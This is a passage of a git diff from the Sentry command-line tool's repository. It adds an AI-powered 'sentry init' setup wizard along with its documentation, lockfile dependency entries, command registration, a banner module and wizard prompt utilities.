"dist/esm/bin/uuid" } }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="], + + "@ai-sdk/provider-utils/@ai-sdk/provider": ["@ai-sdk/provider@1.1.3", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-qZMxYJ0qqX/RfnuIaab+zp8UAeJn/ygXXAffR5I4N0n1IrvA6qBsjc8hXLmBiMV2zoXlifkacF7sEFnYnjBcqg=="], + + "@ai-sdk/provider-utils-v6/@ai-sdk/provider": ["@ai-sdk/provider@3.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-m9ka3ptkPQbaHHZHqDXDF9C9B5/Mav0KTdky1k2HZ3/nrW2t1AgObxIVPyGDWQNS9FXT/FS6PIoSjpcP/No8rQ=="], + + "@ai-sdk/ui-utils-v5/@ai-sdk/provider": ["@ai-sdk/provider@1.1.3", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-qZMxYJ0qqX/RfnuIaab+zp8UAeJn/ygXXAffR5I4N0n1IrvA6qBsjc8hXLmBiMV2zoXlifkacF7sEFnYnjBcqg=="], + + "@anthropic-ai/sdk/@types/node": ["@types/node@18.19.130", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-GRaXQx6jGfL8sKfaIDD6OupbIHBr9jv7Jnaml9tB7l4v068PAOXqfcujMMo5PhbIs6ggR1XODELqahT2R8v0fg=="], + "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], "@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + "@modelcontextprotocol/sdk/express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="], + + "@modelcontextprotocol/sdk/zod": ["zod@4.3.5", "", {}, "sha512-k7Nwx6vuWx1IJ9Bjuf4Zt1PEllcwe7cls3VNzm4CQ1/hgtFUK2bRNG3rvnpPUhFjmqJKAKtjV576KnUkHocg/g=="], + "@prisma/instrumentation/@opentelemetry/instrumentation": ["@opentelemetry/instrumentation@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "import-in-the-middle": "^2.0.0", "require-in-the-middle": "^8.0.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-y6eeli9+TLKnznrR8AZlQMSJT7wILpXH+6EYq5Vf/4Ao+huI7EedxQHwRgVUOMLFbe7VFDvHJrX9/f4lcwnJsA=="], + "@sentry/bundler-plugin-core/dotenv": ["dotenv@16.6.1", "", {}, "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow=="], + "@sentry/bundler-plugin-core/glob": ["glob@9.3.5", "", { "dependencies": { "fs.realpath": "^1.0.0", "minimatch": "^8.0.2", "minipass": "^4.2.4", "path-scurry": "^1.6.1" } }, "sha512-e1LleDykUz2Iu+MTYdkSsuWX8lvAjAcs0Xef0lNIu0S2wOAzuTxCJtcd9S3cijlwYF18EsU3rzb8jPVobxDh9Q=="], "anymatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], @@ -576,18 +926,58 @@ "cliui/wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + "express/body-parser": ["body-parser@1.20.4", "", { "dependencies": { "bytes": "~3.1.2", "content-type": "~1.0.5", "debug": "2.6.9", "depd": "2.0.0", "destroy": "~1.2.0", "http-errors": "~2.0.1", "iconv-lite": "~0.4.24", "on-finished": "~2.4.1", "qs": "~6.14.0", "raw-body": "~2.5.3", "type-is": "~1.6.18", "unpipe": "~1.0.0" } }, "sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA=="], + + "express/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + + "express/qs": ["qs@6.14.2", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q=="], + + "express/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="], + + "finalhandler/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + "glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="], "p-locate/p-limit": ["p-limit@3.1.0", "", { "dependencies": { "yocto-queue": "^0.1.0" } }, "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ=="], "parse5-htmlparser2-tree-adapter/parse5": ["parse5@6.0.1", "", {}, "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw=="], + "path-scurry/lru-cache": ["lru-cache@11.2.4", "", {}, "sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg=="], + "readdirp/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], + "router/path-to-regexp": ["path-to-regexp@8.3.0", "", {}, "sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA=="], + + "send/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + + "type-is/mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], + "ultracite/zod": ["zod@4.3.5", "", {}, "sha512-k7Nwx6vuWx1IJ9Bjuf4Zt1PEllcwe7cls3VNzm4CQ1/hgtFUK2bRNG3rvnpPUhFjmqJKAKtjV576KnUkHocg/g=="], "yargs/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + "zod-from-json-schema/zod": ["zod@4.3.5", "", {}, "sha512-k7Nwx6vuWx1IJ9Bjuf4Zt1PEllcwe7cls3VNzm4CQ1/hgtFUK2bRNG3rvnpPUhFjmqJKAKtjV576KnUkHocg/g=="], + + "@anthropic-ai/sdk/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="], + + "@modelcontextprotocol/sdk/express/accepts": ["accepts@2.0.0", "", { "dependencies": { "mime-types": "^3.0.0", "negotiator": "^1.0.0" } }, "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng=="], + + "@modelcontextprotocol/sdk/express/content-disposition": ["content-disposition@1.0.1", "", {}, "sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q=="], + + "@modelcontextprotocol/sdk/express/cookie-signature": ["cookie-signature@1.2.2", "", {}, "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg=="], + + "@modelcontextprotocol/sdk/express/finalhandler": ["finalhandler@2.1.1", "", { "dependencies": { "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "on-finished": "^2.4.1", "parseurl": "^1.3.3", "statuses": "^2.0.1" } }, "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA=="], + + "@modelcontextprotocol/sdk/express/fresh": ["fresh@2.0.0", "", {}, "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A=="], + + "@modelcontextprotocol/sdk/express/merge-descriptors": ["merge-descriptors@2.0.0", "", {}, "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g=="], + + "@modelcontextprotocol/sdk/express/mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], + + "@modelcontextprotocol/sdk/express/send": ["send@1.2.1", "", { "dependencies": { "debug": "^4.4.3", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.1", "mime-types": "^3.0.2", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.2" } }, "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ=="], + + "@modelcontextprotocol/sdk/express/serve-static": ["serve-static@2.2.1", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw=="], + "@prisma/instrumentation/@opentelemetry/instrumentation/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.207.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-lAb0jQRVyleQQGiuuvCOTDVspc14nx6XJjP4FspJ1sNARo3Regq4ZZbrc3rN4b1TYSuUCvgH+UXUPug4SLOqEQ=="], "@prisma/instrumentation/@opentelemetry/instrumentation/import-in-the-middle": ["import-in-the-middle@2.0.5", "", { "dependencies": { "acorn": "^8.15.0", "acorn-import-attributes": "^1.9.5", "cjs-module-lexer": "^2.2.0", "module-details-from-path": "^1.0.4" } }, "sha512-0InH9/4oDCBRzWXhpOqusspLBrVfK1vPvbn9Wxl8DAQ8yyx5fWJRETICSwkiAMaYntjJAMBP1R4B6cQnEUYVEA=="], @@ -604,10 +994,28 @@ "cliui/wrap-ansi/ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="], + "express/body-parser/iconv-lite": ["iconv-lite@0.4.24", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3" } }, "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA=="], + + "express/body-parser/raw-body": ["raw-body@2.5.3", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.4.24", "unpipe": "~1.0.0" } }, "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA=="], + + "express/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + + "express/type-is/media-typer": ["media-typer@0.3.0", "", {}, "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="], + + "finalhandler/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + "p-locate/p-limit/yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="], + "send/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + + "type-is/mime-types/mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + "yargs/string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + "@modelcontextprotocol/sdk/express/accepts/negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], + + "@modelcontextprotocol/sdk/express/mime-types/mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + "@sentry/bundler-plugin-core/glob/path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], "@sentry/bundler-plugin-core/glob/path-scurry/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], diff --git a/docs/src/content/docs/commands/init.md b/docs/src/content/docs/commands/init.md new file mode 100644 index 00000000..23f7dbd4 --- /dev/null +++ b/docs/src/content/docs/commands/init.md @@ -0,0 +1,63 @@ +--- +title: init +description: AI-powered project setup wizard for the Sentry CLI +--- + +Set up Sentry in your project with an AI-powered wizard. The `init` command detects your platform and framework, installs the Sentry SDK, and instruments your code for error monitoring, tracing, and more. + +**Prerequisites:** You must be authenticated first. Run `sentry auth login` if you haven't already. + +## Usage + +```bash +sentry init [directory] +``` + +**Arguments:** + +| Argument | Description | +|----------|-------------| +| `[directory]` | Project directory (default: current directory) | + +**Options:** + +| Option | Description | +|--------|-------------| +| `--force` | Continue even if Sentry is already installed | +| `-y, --yes` | Non-interactive mode (accept defaults) | +| `--dry-run` | Preview changes without applying them | +| `--features ` | Comma-separated features: `errors`, `tracing`, `logs`, `replay`, `metrics` | + +## Examples + +```bash +# Run the wizard in the current directory +sentry init + +# Target a subdirectory +sentry init ./my-app + +# Preview what changes would be made +sentry init --dry-run + +# Select specific features +sentry init --features errors,tracing,logs + +# Non-interactive mode (accept all defaults) +sentry init --yes +``` + +## What the wizard does + +1. **Detects your framework** — scans your project files to identify the platform and framework +2. **Installs the SDK** — adds the appropriate Sentry SDK package to your project +3. **Instruments your code** — configures error monitoring, tracing, and any selected features + +## Supported platforms + +The wizard currently supports: + +- **JavaScript / TypeScript** — Next.js, Express, SvelteKit, React +- **Python** — Flask, FastAPI + +More platforms and frameworks are coming soon. diff --git a/docs/src/content/docs/getting-started.mdx b/docs/src/content/docs/getting-started.mdx index f62a31ce..4d4a183c 100644 --- a/docs/src/content/docs/getting-started.mdx +++ b/docs/src/content/docs/getting-started.mdx @@ -106,6 +106,7 @@ Credentials are stored in a SQLite database at `~/.sentry/` with restricted file Once authenticated, you can start using the CLI: +- [Initialize Sentry](../commands/init/) - Set up Sentry in your project with the guided wizard - [Organization commands](../commands/org/) - List and view organizations - [Project commands](../commands/project/) - Manage projects - [Issue commands](../commands/issue/) - Track and manage issues diff --git a/package.json b/package.json index 3abf4554..729843bf 100644 --- a/package.json +++ b/package.json @@ -6,7 +6,10 @@ "url": "git+https://github.com/getsentry/cli.git" }, "devDependencies": { + "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", + "@clack/prompts": "^0.11.0", + "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.21.0", "@sentry/bun": "10.39.0", "@sentry/esbuild-plugin": "^2.23.0", @@ -25,6 +28,7 @@ "fast-check": "^4.5.3", "ignore": "^7.0.5", "marked": "^15", + "openai": "^6.22.0", "p-limit": "^7.2.0", "pretty-ms": "^9.3.0", "qrcode-terminal": "^0.12.0", @@ -64,6 +68,7 @@ "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", "test:isolated": "bun test test/isolated", "test:e2e": "bun test test/e2e", + "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", "generate:skill": "bun run script/generate-skill.ts", "check:skill": "bun run script/check-skill.ts", "check:deps": "bun run script/check-no-deps.ts" diff --git a/plugins/sentry-cli/skills/sentry-cli/SKILL.md b/plugins/sentry-cli/skills/sentry-cli/SKILL.md index ad61a784..e4d674f9 100644 --- a/plugins/sentry-cli/skills/sentry-cli/SKILL.md +++ b/plugins/sentry-cli/skills/sentry-cli/SKILL.md @@ -612,6 +612,20 @@ View logs associated with a trace - `-n, --limit - Number of log entries (1-1000) - (default: "100")` - `-q, --query - Additional filter query (Sentry search syntax)` +### Init + +Initialize Sentry in your project + +#### `sentry init ` + +Initialize Sentry in your project + +**Flags:** +- `--force - Continue even if Sentry is already installed` +- `-y, --yes - Non-interactive mode (accept defaults)` +- `--dry-run - Preview changes without applying them` +- `--features - Comma-separated features: errors,tracing,logs,replay,metrics` + ### Issues List issues in a project diff --git a/src/app.ts b/src/app.ts index f1df0e89..3e12bd1b 100644 --- a/src/app.ts +++ b/src/app.ts @@ -13,6 +13,7 @@ import { whoamiCommand } from "./commands/auth/whoami.js"; import { cliRoute } from "./commands/cli/index.js"; import { eventRoute } from "./commands/event/index.js"; import { helpCommand } from "./commands/help.js"; +import { initCommand } from "./commands/init.js"; import { issueRoute } from "./commands/issue/index.js"; import { listCommand as issueListCommand } from "./commands/issue/list.js"; import { logRoute } from "./commands/log/index.js"; @@ -64,6 +65,7 @@ export const routes = buildRouteMap({ event: eventRoute, log: logRoute, trace: traceRoute, + init: initCommand, api: apiCommand, issues: issueListCommand, orgs: orgListCommand, diff --git a/src/commands/init.ts b/src/commands/init.ts new file mode 100644 index 00000000..2a75b3a5 --- /dev/null +++ b/src/commands/init.ts @@ -0,0 +1,84 @@ +/** + * sentry init + * + * Initialize Sentry in a project using the remote wizard workflow. + * Communicates with the Mastra API via suspend/resume to perform + * local filesystem operations and interactive prompts. + */ + +import path from "node:path"; +import type { SentryContext } from "../context.js"; +import { buildCommand } from "../lib/command.js"; +import { runWizard } from "../lib/init/wizard-runner.js"; + +type InitFlags = { + readonly force: boolean; + readonly yes: boolean; + readonly "dry-run": boolean; + readonly features?: string; +}; + +export const initCommand = buildCommand({ + docs: { + brief: "Initialize Sentry in your project", + fullDescription: + "Runs the Sentry setup wizard to detect your project's framework, " + + "install the SDK, and configure error monitoring. Uses a remote " + + "workflow that coordinates local file operations through the CLI.", + }, + parameters: { + positional: { + kind: "tuple", + parameters: [ + { + placeholder: "directory", + brief: "Project directory (default: current directory)", + parse: String, + optional: true, + }, + ], + }, + flags: { + force: { + kind: "boolean", + brief: "Continue even if Sentry is already installed", + default: false, + }, + yes: { + kind: "boolean", + brief: "Non-interactive mode (accept defaults)", + default: false, + }, + "dry-run": { + kind: "boolean", + brief: "Preview changes without applying them", + default: false, + }, + features: { + kind: "parsed", + parse: String, + brief: "Comma-separated features: errors,tracing,logs,replay,metrics", + optional: true, + placeholder: "list", + }, + }, + aliases: { + y: "yes", + }, + }, + async func(this: SentryContext, flags: InitFlags, directory?: string) { + const targetDir = directory ? path.resolve(this.cwd, directory) : this.cwd; + const featuresList = flags.features + ?.split(",") + .map((f) => f.trim()) + .filter(Boolean); + + await runWizard({ + directory: targetDir, + force: flags.force, + yes: flags.yes, + dryRun: flags["dry-run"], + features: featuresList, + }); + }, +}); diff --git a/src/commands/project/create.ts b/src/commands/project/create.ts index 3ecbe4b8..2b9c921e 100644 --- a/src/commands/project/create.ts +++ b/src/commands/project/create.ts @@ -38,6 +38,7 @@ import { resolveOrCreateTeam, } from "../../lib/resolve-team.js"; import { buildProjectUrl } from "../../lib/sentry-urls.js"; +import { slugify } from "../../lib/utils.js"; import type { SentryProject, SentryTeam, Writer } from "../../types/index.js"; /** Usage hint template — base command without positionals */ @@ -107,25 +108,6 @@ function normalizePlatform(platform: string, stderr: Writer): string { return corrected; } -/** - * Convert a project name to its expected Sentry slug. - * Aligned with Sentry's canonical implementation: - * https://github.com/getsentry/sentry/blob/master/static/app/utils/slugify.tsx - * - * @example slugify("My Cool App") // "my-cool-app" - * @example slugify("my-app") // "my-app" - * @example slugify("Café Project") // "cafe-project" - * @example slugify("my_app") // "my_app" - */ -function slugify(name: string): string { - return name - .normalize("NFKD") - .toLowerCase() - .replace(/[^a-z0-9_\s-]/g, "") - .replace(/[-\s]+/g, "-") - .replace(/^-|-$/g, ""); -} - /** * Check whether an API error is about an invalid platform value. * Relies on Sentry's error message wording — may need updating if the API changes. diff --git a/src/lib/banner.ts b/src/lib/banner.ts new file mode 100644 index 00000000..5a42b33d --- /dev/null +++ b/src/lib/banner.ts @@ -0,0 +1,39 @@ +/** + * Banner Formatting + * + * Standalone module for the Sentry ASCII banner. + * Extracted to avoid circular imports (wizard-runner → help → app → init → wizard-runner). + */ + +import chalk from "chalk"; + +/** ASCII art banner rows for gradient coloring */ +const BANNER_ROWS = [ + " ███████╗███████╗███╗ ██╗████████╗██████╗ ██╗ ██╗", + " ██╔════╝██╔════╝████╗ ██║╚══██╔══╝██╔══██╗╚██╗ ██╔╝", + " ███████╗█████╗ ██╔██╗ ██║ ██║ ██████╔╝ ╚████╔╝ ", + " ╚════██║██╔══╝ ██║╚██╗██║ ██║ ██╔══██╗ ╚██╔╝ ", + " ███████║███████╗██║ ╚████║ ██║ ██║ ██║ ██║ ", + " ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ", +]; + +/** Purple gradient colors from bright to dark (Sentry brand-inspired) */ +const BANNER_GRADIENT = [ + "#B4A4DE", + "#9C84D4", + "#8468C8", + "#6C4EBA", + "#5538A8", + "#432B8A", +]; + +/** + * Format the banner with a vertical gradient effect. + * Each row gets progressively darker purple. + */ +export function formatBanner(): string { + return BANNER_ROWS.map((row, i) => { + const color = BANNER_GRADIENT[i] ?? "#B4A4DE"; + return chalk.hex(color)(row); + }).join("\n"); +} diff --git a/src/lib/help.ts b/src/lib/help.ts index 40873f43..4f1163b1 100644 --- a/src/lib/help.ts +++ b/src/lib/help.ts @@ -6,43 +6,12 @@ * Commands are auto-generated from Stricli's route structure. */ -import chalk from "chalk"; import { routes } from "../app.js"; import type { Writer } from "../types/index.js"; +import { formatBanner } from "./banner.js"; import { isAuthenticated } from "./db/auth.js"; import { cyan, magenta, muted } from "./formatters/colors.js"; -/** ASCII art banner rows for gradient coloring */ -const BANNER_ROWS = [ - " ███████╗███████╗███╗ ██╗████████╗██████╗ ██╗ ██╗", - " ██╔════╝██╔════╝████╗ ██║╚══██╔══╝██╔══██╗╚██╗ ██╔╝", - " ███████╗█████╗ ██╔██╗ ██║ ██║ ██████╔╝ ╚████╔╝ ", - " ╚════██║██╔══╝ ██║╚██╗██║ ██║ ██╔══██╗ ╚██╔╝ ", - " ███████║███████╗██║ ╚████║ ██║ ██║ ██║ ██║ ", - " ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ", -]; - -/** Purple gradient colors from bright to dark (Sentry brand-inspired) */ -const BANNER_GRADIENT = [ - "#B4A4DE", - "#9C84D4", - "#8468C8", - "#6C4EBA", - "#5538A8", - "#432B8A", -]; - -/** - * Format the banner with a vertical gradient effect. - * Each row gets progressively darker purple. - */ -function formatBanner(): string { - return BANNER_ROWS.map((row, i) => { - const color = BANNER_GRADIENT[i] ?? "#B4A4DE"; - return chalk.hex(color)(row); - }).join("\n"); -} - const TAGLINE = "The command-line interface for Sentry"; type HelpCommand = { diff --git a/src/lib/init/clack-utils.ts b/src/lib/init/clack-utils.ts new file mode 100644 index 00000000..a71d1532 --- /dev/null +++ b/src/lib/init/clack-utils.ts @@ -0,0 +1,72 @@ +/** + * Clack Utilities + * + * Shared helpers for the clack-based init wizard UI. + */ + +import { cancel, isCancel } from "@clack/prompts"; +import { SENTRY_DOCS_URL } from "./constants.js"; + +export class WizardCancelledError extends Error { + constructor() { + super("Setup cancelled."); + this.name = "WizardCancelledError"; + } +} + +export function abortIfCancelled(value: T | symbol): T { + if (isCancel(value)) { + cancel(`Setup cancelled. Visit ${SENTRY_DOCS_URL} to set up manually.`); + throw new WizardCancelledError(); + } + return value as T; +} + +const FEATURE_INFO: Record = { + errorMonitoring: { + label: "Error Monitoring", + hint: "Automatic error and crash reporting", + }, + performanceMonitoring: { + label: "Performance Monitoring", + hint: "Transaction and span tracing", + }, + sessionReplay: { + label: "Session Replay", + hint: "Visual replay of user sessions", + }, + profiling: { + label: "Profiling", + hint: "Code-level performance insights", + }, + logs: { label: "Logging", hint: "Structured log ingestion" }, + metrics: { label: "Custom Metrics", hint: "Track custom business metrics" }, + sourceMaps: { + label: "Source Maps", + hint: "See original source code in production errors", + }, +}; + +export function featureLabel(id: string): string { + return FEATURE_INFO[id]?.label ?? id; +} 